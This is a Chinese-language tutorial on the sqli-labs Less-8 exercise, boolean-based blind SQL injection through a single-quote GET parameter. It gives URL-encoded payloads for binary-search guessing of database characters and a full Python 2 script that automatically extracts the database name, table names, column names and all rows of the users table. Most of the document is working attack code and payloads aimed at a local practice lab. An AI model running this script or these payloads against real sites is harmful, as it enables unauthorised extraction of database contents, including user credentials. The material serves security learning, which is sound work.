sqli-lab(8)

布尔型单引号GET盲注

发现加个单引号跟没加显示不一样，加了单引号连you are in都不显示了，没有报错，所以只能用盲注判断了

0X01爱之先了解

盲注需要掌握一些MySQL的相关函数：
length(str)：返回str字符串的长度。

substr(str, pos, len)：将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的，不是数组的0开始

mid(str,pos,len):跟上面的一样，截取字符串

 ascii(str)：返回字符串str的最左面字符的ASCII代码值。

ord(str):同上，返回ascii码

if(a,b,c) :a为条件，a为true，返回b，否则返回c，如if(1>2,1,0),返回0

 

首先要记得常见的ASCII，A:65,Z:90 a:97,z:122,  0:48, 9:57
那么我们就进行第二步

0X02

首先select database()查询数据库

ascii(substr((select database()),1,1))：返回数据库名称的第一个字母,转化为ascii码

ascii(substr((select database()),1,1))>64：ascii大于64就返回true，if就返回1，否则返回0

http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E64,1,0)%20%23

为什么这里是布尔型盲注呢，因为这里没把数据输出，只是$row有数据和无数据的时候显示的结果不一样

正确的时候显示的you are in.... 错误的时候就是什么都显示

猜数据库名第一个字母具体过程，使用二分法

http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E96,1,0)%20%23
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E110,1,0)%20%23
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E120,1,0)%20%23
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E115,1,0)%20%23返回错误，不大于115，即第一个字母的ascii为115，即字母s
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E110,1,0)%20%23
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E111,1,0)%20%23
http://127.0.0.1/sql1/Less-8/?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))%3E114,1,0)%20%23返回正确，大于114

盲注过程是漫长的，一般是自己写脚本或使用工具辅助

写脚本之前要知道原理，上面的就是原理

下面基于这个学着写了个提取users表数据的完整脚本，大家可以参考下，当然如果大家用sqlmap也可以

import urllib2
import urllib
 
 
success_str = "You are in"
getTable = "users"
 
index = "0"
url = "http://localhost/sql1/Less-8/?id=1"
database = "database()"
selectDB = "select database()" 
selectTable = "select table_name from information_schema.tables where table_schema='%s' limit %d,1"
 
 
asciiPayload = "' and ascii(substr((%s),%d,1))>=%d #"
lengthPayload = "' and length(%s)>=%d #"
selectTableCountPayload = "'and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #"
 
selectTableNameLengthPayloadfront = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit " 
selectTableNameLengthPayloadbehind = ",1)>=%d #"
 
 
# 发送请求，根据页面的返回的判断长度的猜测结果
# string:猜测的字符串    payload:使用的payload    length：猜测的长度
def getLengthResult(payload, string, length):
    finalUrl = url + urllib.quote(payload % (string, length))
    res = urllib2.urlopen(finalUrl)
    if success_str in res.read():
        return True
    else:
        return False
 
# 发送请求，根据页面的返回的判断猜测的字符是否正确
# payload:使用的payload    string:猜测的字符串    pos：猜测字符串的位置    ascii：猜测的ascii
def getResult(payload, string, pos, ascii):
    finalUrl = url + urllib.quote(payload % (string, pos, ascii))
    res = urllib2.urlopen(finalUrl)
    if success_str in res.read():
        return True
    else:
        return False
 
# 注入
def inject():
    # 猜数据库长度
    lengthOfDBName = getLengthOfString(lengthPayload, database)
    print ("length of DBname: " + str(lengthOfDBName))
    # 获取数据库名称
    DBname = getName(asciiPayload, selectDB, lengthOfDBName)
    
    print ("current database:" + DBname)
 
    # 获取数据库中的表的个数
    # print selectTableCountPayload
    tableCount = getLengthOfString(selectTableCountPayload, DBname)
    print ("count of talbe:" + str(tableCount))
 
    # 获取数据库中的表
    for i in xrange(0,tableCount):
        # 第几个表
        num = str(i)
        # 获取当前这个表的长度
        selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehind
        tableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname)
        print ("current table length:" + str(tableNameLength))
        # 获取当前这个表的名字
        selectTableName = selectTable%(DBname, i)
        tableName = getName(asciiPayload, selectTableName ,tableNameLength)
        print (tableName)
 
 
    selectColumnCountPayload = "'and (select count(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s')>=%d #"
    # print selectColumnCountPayload
    # 获取指定表的列的数量
    columnCount = getLengthOfString(selectColumnCountPayload, getTable)
    print ("table:" + getTable + " --count of column:" + str(columnCount))
 
    # 获取该表有多少行数据
    dataCountPayload = "'and (select count(*) from %s)>=%d #"
    dataCount = getLengthOfString(dataCountPayload, getTable)
    print ("table:" + getTable + " --count of data: " + str(dataCount))
 
    data = []
    # 获取指定表中的列
    for i in xrange(0,columnCount):
        # 获取该列名字长度
        selectColumnNameLengthPayload = "'and (select length(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit "+ str(i) +",1)>=%d #"
        # print selectColumnNameLengthPayload
        columnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable)
        print ("current column length:" + str(columnNameLength))
        # 获取该列的名字
        selectColumn = "select column_name from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit %d,1"
        selectColumnName = selectColumn%(getTable, i)
        # print selectColumnName
        columnName = getName(asciiPayload, selectColumnName ,columnNameLength)
        print (columnName)
 
        tmpData = []
        tmpData.append(columnName)
        # 获取该表的数据
        for j in xrange(0,dataCount):
            columnDataLengthPayload = "'and (select length("+ columnName +") from %s limit " + str(j) + ",1)>=%d #"
            # print columnDataLengthPayload
            columnDataLength = getLengthOfString(columnDataLengthPayload, getTable)
            # print columnDataLength
            selectData = "select " + columnName + " from users limit " + str(j) + ",1"
            columnData = getName(asciiPayload, selectData, columnDataLength)
            # print columnData
            tmpData.append(columnData)
    
        data.append(tmpData)
 
    # print data    
    # 格式化输出数据
    # 输出列名
    tmp = ""
    for i in xrange(0,len(data)):
        tmp += data[i][0] + "    "
    print (tmp)
    # 输出具体数据
    for j in xrange(1,dataCount+1):
        tmp = ""
        for i in xrange(0,len(data)):
            tmp += data[i][j] + "    "
        print (tmp)
    
# 获取字符串的长度            
def getLengthOfString(payload, string):
    # 猜长度
    lengthLeft = 0
    lengthRigth = 0
    guess = 10
    # 确定长度上限，每次增加5
    while 1:
        # 如果长度大于guess
        if getLengthResult(payload, string, guess) == True:
            # 猜测值增加5
            guess = guess + 5    
        else:
            lengthRigth = guess
            break
    # print "lengthRigth: " + str(lengthRigth)
    # 二分法查长度
    mid = (lengthLeft + lengthRigth) / 2
    while lengthLeft < lengthRigth - 1:
        # 如果长度大于等于mid 
        if getLengthResult(payload, string, mid) == True:
            # 更新长度的左边界为mid
            lengthLeft = mid
        else: 
        # 否则就是长度小于mid
            # 更新长度的右边界为mid
            lengthRigth = mid
        # 更新中值
        mid = (lengthLeft + lengthRigth) / 2        
        # print lengthLeft, lengthRigth
    # 因为lengthLeft当长度大于等于mid时更新为mid，而lengthRigth是当长度小于mid时更新为mid
    # 所以长度区间：大于等于 lengthLeft，小于lengthRigth
    # 而循环条件是 lengthLeft < lengthRigth - 1，退出循环，lengthLeft就是所求长度
    # 如循环到最后一步 lengthLeft = 8， lengthRigth = 9时，循环退出，区间为8<=length<9,length就肯定等于8
    return lengthLeft
 
# 获取名称
def getName(payload, string, lengthOfString):
    # 32是空格，是第一个可显示的字符，127是delete，最后一个字符
    tmp = ''
    for i in xrange(1,lengthOfString+1):
        left = 32 
        right = 127
        mid = (left + right) / 2
        while left < right - 1:
            # 如果该字符串的第i个字符的ascii码大于等于mid
            if getResult(payload, string, i, mid) == True:
                # 则更新左边界
                left = mid
                mid = (left + right) / 2
            else:
            # 否则该字符串的第i个字符的ascii码小于mid
                # 则更新右边界
                right = mid
            # 更新中值
            mid = (left + right) / 2
        tmp += chr(left)
        # print tmp
    return tmp    
        
 
def main():
    inject()
main()

运行结果：

切记 学习之路 无浮躁 少就是多